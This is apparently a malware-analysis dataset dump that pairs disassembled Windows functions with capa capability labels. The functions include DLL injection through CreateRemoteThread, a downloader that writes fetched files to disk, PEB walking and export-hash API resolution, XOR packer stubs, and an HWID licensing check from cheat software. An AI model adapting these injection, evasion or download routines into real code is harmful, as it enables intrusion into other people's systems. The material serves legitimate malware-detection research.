joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x452004]
jne 0x40100a
repz ret
jmp fcn.004016f4

Function at 0x405698
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040305b
and dword [ebp - 4], 0
cmp dword [0x453fd8], 0
mov ebx, eax
jne 0x405749
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4057fa
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4057fa
push eax
call fcn.00402fe9
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x453fd8], eax
call esi
push eax
call fcn.00402fe9
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x453fdc], eax
call esi
push eax
call fcn.00402fe9
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x453fe0], eax
call esi
push eax
call fcn.00402fe9
pop ecx
mov dword [0x453fe8], eax
test eax, eax
je 0x405749
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402fe9
pop ecx
mov dword [0x453fe4], eax
mov eax, dword [0x453fe4]
cmp eax, ebx
je 0x4057a1
cmp dword [0x453fe8], ebx
je 0x4057a1
push eax
call fcn.00403064
push dword [0x453fe8]
mov esi, eax
call fcn.00403064
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4057a1
test edi, edi
je 0x4057a1
call esi
test eax, eax
je 0x405798
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x405798
test byte [ebp - 0xc], 1
jne 0x4057a1
or dword [ebp + 0x10], 0x200000
jmp 0x4057da
mov eax, dword [0x453fdc]
cmp eax, ebx
je 0x4057da
push eax
call fcn.00403064
pop ecx
test eax, eax
je 0x4057da
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4057da
mov eax, dword [0x453fe0]
cmp eax, ebx
je 0x4057da
push eax
call fcn.00403064
pop ecx
test eax, eax
je 0x4057da
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x453fd8]
call fcn.00403064
pop ecx
test eax, eax
je 0x4057fa
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4057fc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x44ae80
Capabilities:
Get hostname

Disassembly:
sub esp, 0x42c
mov eax, dword [0x452004]
xor eax, esp
mov dword [esp + 0x428], eax
cmp edi, 0x182
jne 0x44aeae
lea eax, [esp + 0xc]
push eax
push str.tuzudinuyodawiz_xivizevobikotuletife
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
jmp 0x44aee2
cmp edi, 0x19f
jne 0x44aee2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
push str.wofoyamev_wexededukocoh
push str.vazew_xajinoguwumofeforupatetonaxoc_vasufadogenanajeyu_wiwarerimefozenodav
push str.besudufawocugiforacir_nawiyay_yirideculaxabafulewasu_seyihet_zazadubavoxuyucawitiwituzunacare
push str.bemoxaxoyuguxejoxipavav_damilagorifoki_meyogupusosojezogayihasawuzerebu_moyeta
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push esi
xor esi, esi
test edi, edi
jle 0x44af52
lea esp, [esp]
lea ecx, [esp + 8]
mov dword [esp + 4], 5
mov dword [esp + 8], 0
call fcn.0044ae70
mov eax, dword [esp + 8]
add eax, 0x46
mov dword [esp + 4], eax
sub dword [esp + 4], 0x46
mov cl, byte [esp + 4]
xor byte [ebx + esi], cl
cmp edi, 0xf
jne 0x44af4d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
inc esi
cmp esi, edi
jl 0x44aef0
pop esi
cmp edi, 0x2d
jne 0x44af6c
mov dword [0x52c800], 0xa62e7790
mov dword [0x52c804], 0xffffffff
mov ecx, dword [esp + 0x428]
xor ecx, esp
call fcn.00401000
add esp, 0x42c
ret
Function at 0x710c65
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x7109ec
mov esi, 0x9e1ccfa7
call fcn.00710ca1
add ecx, 0x6fcbfc02
mov ecx, esi
xor dword [ebx], eax
or esi, ecx
add esi, esi
mov esi, 0x7b39c62
inc ebx
sub esi, 0x81debb3f
and ecx, ecx
cmp ebx, edi
jne fcn.00710c65
and ecx, ecx
or ecx, esi
add esi, 0xd8c3780e
ret
Function at 0x4022fd
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20
mov eax, dword [0x4785c0]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
xor ebp, ebp
push edi
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
add ebx, esi
mov edi, dword [ebx + 0x20]
mov eax, dword [ebx + 0x18]
add edi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x402366
mov eax, dword [edi]
lea ecx, [esp + 0x14]
add eax, esi
push eax
call fcn.00401b4a
lea eax, [esp + 0x14]
push 0x235
push eax
call fcn.00403a65
pop ecx
pop ecx
cmp eax, dword [esp + 0x38]
je 0x40237e
lea ecx, [esp + 0x14]
add edi, 4
call fcn.00402e72
inc ebp
cmp ebp, dword [esp + 0x10]
jb 0x40232e
xor edi, edi
mov ecx, dword [esp + 0x2c]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00406114
add esp, 0x20
ret
mov eax, dword [ebx + 0x24]
lea eax, [eax + ebp*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x14]
call fcn.00402e72
jmp 0x402368

Function at 0x403ee0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ecx
push esi
push edi
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x4794f0], eax
push 0x27
push 0x478028
push 0x547
mov esi, 0x478050
push esi
call fcn.0040239c
push 0x8aafdc01
push dword [0x4794f0]
call fcn.004022fd
add esp, 0x18
lea ecx, [esp + 8]
push ecx
push 0x40
push 0x4e4
push esi
call eax
pop edi
pop esi
test eax, eax
je 0x403f40
call fcn.00403de5
xor eax, eax
pop ecx
ret 0x10
Function at 0x710c73
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov esi, 0x7109ec
inc eax
call fcn.00710ca9
or eax, eax
add eax, edx
xor dword [ecx], esi
or eax, edx
mov eax, eax
dec edx
inc ecx
sub eax, edx
cmp ecx, ebx
jne fcn.00710c73
mov eax, 0xd8246817
sub eax, 1
add edx, 1
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408f6c
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x55525b84
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e3d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0xe157e67
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401bb0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1118
call fcn.00409260
mov eax, dword [0x40f484]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
lea eax, [ebp - 0x1110]
push eax
push 0x1000
lea ecx, [ebp - 0x1108]
xor edi, edi
push ecx
mov dword [ebp - 0x110c], edi
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x401bfb
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409194
mov esp, ebp
pop ebp
ret
test dword [ebp - 0x1110], 0xfffffffc
jbe 0x401cc3
push ebx
mov ebx, dword [ebp + 8]
push esi
mov eax, dword [ebp + edi*4 - 0x1108]
test eax, eax
je 0x401caf
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x401caf
lea edx, [ebp - 0x1118]
push edx
push 4
lea eax, [ebp - 0x1114]
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x401caf
mov edx, dword [ebp - 0x1114]
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleBaseNameA
mov ecx, ebx
lea eax, [ebp - 0x108]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401c92
test dl, dl
je 0x401c8e
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401c92
add eax, 2
add ecx, 2
test dl, dl
jne 0x401c72
xor eax, eax
jmp 0x401c97
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x401ca8
mov eax, dword [ebp + edi*4 - 0x1108]
mov dword [ebp - 0x110c], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x1110]
inc edi
shr ecx, 2
cmp edi, ecx
jb 0x401c10
pop esi
pop ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x110c]
xor ecx, ebp
pop edi
call fcn.00409194
mov esp, ebp
pop ebp
ret

Function at 0x401ce0
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x40f484]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.MSVCR100.dll_sprintf]
push esi
mov esi, dword [ebp + 8]
push edi
push esi
lea eax, [ebp - 0x104]
push str._s.
push eax
call ebx
add esp, 0xc
lea ecx, [ebp - 0x244]
push ecx
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
lea eax, [ebp - 0x218]
push eax
push esi
lea ecx, [ebp - 0x104]
push str._s_s
push ecx
call ebx
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.MSVCR100.dll_remove]
add esp, 0x14
lea eax, [ebp - 0x244]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401d27
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409194
mov esp, ebp
pop ebp
ret
Function at 0x401ea0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x40f484]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
push 0x3ff
lea ecx, [ebp - 0x403]
push edi
push ecx
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x40c], edi
mov dword [ebp - 0x408], edi
mov dword [ebp - 0x418], edi
mov byte [ebp - 0x404], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push edi
push edi
push edi
push edi
push str.Mozilla_5.0__Windows_NT_6.3__
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
mov dword [ebp - 0x414], ebx
cmp ebx, edi
je 0x401fd7
push edi
push 0x80000000
push edi
push edi
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, edi
je 0x401fd0
mov edx, dword [ebp - 0x410]
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401fc3
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x408]
push eax
push 0x400
lea ecx, [ebp - 0x404]
push ecx
push esi
call ebx
test eax, eax
je 0x401fac
mov edi, edi
mov eax, dword [ebp - 0x408]
test eax, eax
je 0x401fac
push 0
lea edx, [ebp - 0x418]
push edx
push eax
lea eax, [ebp - 0x404]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [ebp - 0x408]
push ecx
push 0x400
lea edx, [ebp - 0x404]
push edx
push esi
call ebx
test eax, eax
jne 0x401f70
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x414]
mov dword [ebp - 0x40c], 1
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [ebp - 0x40c]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409194
mov esp, ebp
pop ebp
ret
Function at 0x401ff0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x40f484]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push 0
lea ecx, [ebp - 0x108]
push ecx
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
jne 0x402042
push str.An_error_is_occured_when_trying_to_get_the_full_path_of_the_DLL._n
call dword [sym.imp.MSVCR100.dll_printf]
add esp, 4
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409194
mov esp, ebp
pop ebp
ret
push ebx
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x402078
push str.An_error_is_occured_when_trying_to_open_the_target_process._n
call dword [sym.imp.MSVCR100.dll_printf]
add esp, 4
pop ebx
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409194
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.MSVCR100.dll_printf]
push edi
push str._PROCESS_INJECTION__n
call esi
push str.Process_opened_successfully._n
call esi
add esp, 8
push 0x40
push 0x3000
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x4020d2
push str.An_error_is_occured_when_trying_to_allocate_memory_in_the_target_process._n
call esi
add esp, 4
pop edi
pop ebx
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409194
mov esp, ebp
pop ebp
ret
push edi
push str.Memory_allocate_at_0x_X_n
call esi
add esp, 8
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
lea ecx, [ebp - 0x108]
push ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x402108
push str.An_error_is_occured_when_trying_to_write_the_DLL_path_in_the_target_process._n
jmp 0x4020ba
push str.DLL_path_writen_successfully._n
call esi
add esp, 4
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, 0xffffffff
je 0x4020bf
test eax, eax
je 0x4020bf
push str.LoadLibraryA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10c], eax
test eax, eax
jne 0x402146
push str.An_error_is_occured_when_trying_to_get__LoadLibraryA__address._n
jmp 0x4020ba
push eax
push str.LoadLibraryA_address_at_0x_X_n
call esi
mov edx, dword [ebp - 0x10c]
add esp, 8
push 0
push 0
push edi
push edx
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, 0xffffffff
jne 0x402177
push str.An_error_is_occured_when_trying_to_create_the_thread_in_the_target_process._n
jmp 0x4020ba
push str.DLL_Injected___n
call esi
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
pop ebx
xor ecx, ebp
pop esi
call fcn.00409194
mov esp, ebp
pop ebp
ret
Function at 0x403ab0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x409c68
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x40f484]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
cmp dword [edi + 0x44], 0
je 0x403bd7
cmp byte [edi + 0x49], 0
je 0x403bd7
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
je 0x403bcb
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x403b26
lea eax, [ebp - 0x2c]
mov byte [eax + 8], 0
mov dword [ebp - 4], 0
lea ebx, [edi + 0x4c]
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x18]
mov ecx, eax
cmp edx, 0x10
jae 0x403b46
lea ecx, [ebp - 0x2c]
mov eax, ecx
add ecx, dword [ebp - 0x1c]
lea edx, [ebp - 0x30]
push edx
push ecx
mov ecx, dword [edi + 0x44]
push eax
push ebx
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x403b6b
dec eax
je 0x403b6f
sub eax, 2
lea ecx, [ebp - 0x2c]
jne 0x403bc6
jmp 0x403bd2
mov byte [edi + 0x49], 0
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp edx, 0x10
jae 0x403b7f
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, ecx
je 0x403ba9
cmp edx, 0x10
jae 0x403b8e
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x403bc3
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [edi + 0x49], 0
je 0x403bcf
test esi, esi
jne 0x403b3a
push esi
push 8
lea ecx, [ebp - 0x2c]
call fcn.00401550
jmp 0x403b34
lea ecx, [ebp - 0x2c]
call fcn.00401430
xor al, al
jmp 0x403bd9
lea ecx, [ebp - 0x2c]
call fcn.00401430
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00409194
mov esp, ebp
pop ebp
ret
Function at 0x405d10
Capabilities:
Create process on windows
Delete file
Get disk information
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40a08b
mov eax, dword fs:[0]
push eax
sub esp, 0x618
mov eax, dword [0x40f484]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.C:HWID.txt
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 0xff
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x61c], eax
lea eax, [ebp - 0x618]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x405e8c
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x620]
push edx
push 0
push 0
push 0x40b3ec
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x405e8c
lea eax, [ebp - 0x61c]
push eax
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x405e8c
lea edx, [ebp - 0x110]
push edx
call fcn.00401e20
mov esi, eax
lea eax, [ebp - 0x210]
push eax
call fcn.00401e20
mov ecx, dword [ebp - 0x620]
add eax, esi
lea eax, [eax + ecx + 0x1f3a7]
push eax
lea edx, [ebp - 0x5f8]
push 0x40ba00
push edx
call dword [sym.imp.MSVCR100.dll_sprintf]
sub esp, 8
mov ecx, esp
lea eax, [ebp - 0x5f8]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov dword [ebp - 0x624], esp
mov byte [ecx], 0
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x405e17
sub eax, esi
push eax
lea eax, [ebp - 0x5f8]
push eax
call fcn.00401600
lea ecx, [ebp - 0x614]
push ecx
call fcn.00407830
add esp, 0x20
mov esi, 0x10
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], esi
jb 0x405e4f
mov eax, dword [eax]
push eax
push str.Connection_Failure..._nTelah_terjadi_kesalahan___Mungkin_:_n___Server_down_n___Cheat_disuspend_n___Anda_belum_terdaftar._n___Durasi_Anda_telah_habis._n___Hubungi_Seller_Anda_untuk_info_lebih_lanjut___n___Terima_Kasih____n_n_nYour_HWID_:__s
call fcn.004050e0
add esp, 8
cmp dword [ebp - 0x600], esi
jb 0x405e74
mov edx, dword [ebp - 0x614]
push edx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
push 1
push 0
push 0
push str.C:HWID.txt
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00409194
mov esp, ebp
pop ebp
ret
Function at 0x407830
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40a338
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x40f484]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x80], eax
cmp dword [ebp + 0x20], 0x10
mov dword [ebp - 4], eax
mov byte [ebp - 0x7c], al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
jae 0x407895
lea eax, [ebp + 0xc]
mov ecx, dword [ebp + 0x1c]
push ecx
push eax
lea ecx, [ebp - 0x7c]
call fcn.004075d0
lea ecx, [ebp - 0x7c]
call fcn.00407680
push esi
lea ecx, [ebp - 0x7c]
call fcn.00407760
cmp dword [ebp + 0x20], 0x10
jb 0x4078c5
mov edx, dword [ebp + 0xc]
push edx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00409194
mov esp, ebp
pop ebp
ret

Function at 0x409194
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40f484]
jne 0x40919e
repz ret
jmp fcn.00409638
Function at 0x40a390
Capabilities:
Create thread
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x624
mov eax, dword [0x506054]
xor eax, ebp
mov dword [ebp - 4], eax
or eax, 0xffffffff
mov dword [0x50e378], 0
xor ecx, ecx
mov dword [0x50e37c], eax
cmp cx, word [0x50e380]
jne 0x40a522
lea eax, [ebp - 0x624]
mov dword [ebp - 0x624], ecx
push eax
push 0x201
push ecx
push str.SoftwareRazer_Chroma_SDK
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40a51d
lea eax, [ebp - 0x620]
mov dword [ebp - 0x620], 0x208
push eax
lea eax, [ebp - 0x61c]
push eax
push 0
push 0
push str.InstallPath
push dword [ebp - 0x624]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40a511
lea eax, [ebp - 0x61c]
push eax
lea eax, [ebp - 0x414]
push 0x104
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
add esp, 0xc
lea eax, [ebp - 0x414]
push str.Logs
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x40a511
mov ax, word [ebp - 0x20c]
xor edx, edx
xor ecx, ecx
test ax, ax
je 0x40a4a4
push esi
movzx esi, ax
movzx eax, si
cmp eax, 0x20
je 0x40a493
mov word [ebp + edx*2 - 0x20c], ax
inc edx
movzx eax, word [ebp + ecx*2 - 0x20a]
inc ecx
mov esi, eax
test ax, ax
jne 0x40a482
pop esi
add edx, edx
cmp edx, 0x208
jae 0x40a5c7
xor eax, eax
mov word [ebp + edx - 0x20c], ax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathW]
push str..log
lea eax, [ebp - 0x20c]
push 0x104
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0x414]
push eax
push 0x104
push 0x50e380
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
add esp, 0xc
push dword [ebp - 0x624]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x50e37c]
cmp eax, 0xffffffff
jne 0x40a54e
push 0
push 0x80
push 4
push 0
push 3
push 0xc0000000
push 0x50e380
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x50e37c], eax
cmp eax, 0xffffffff
je 0x40a575
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40a563
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 2
push 0
push 0
push dword [0x50e37c]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [0x50e378], 0
jne 0x40a591
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x50e378], eax
push 0
push 0
push 0x50e378
push 0x40ab80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x40a5b4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 0x50e378
xor ecx, ebp
call fcn.004364d3
mov esp, ebp
pop ebp
ret
call fcn.00436ad1
int3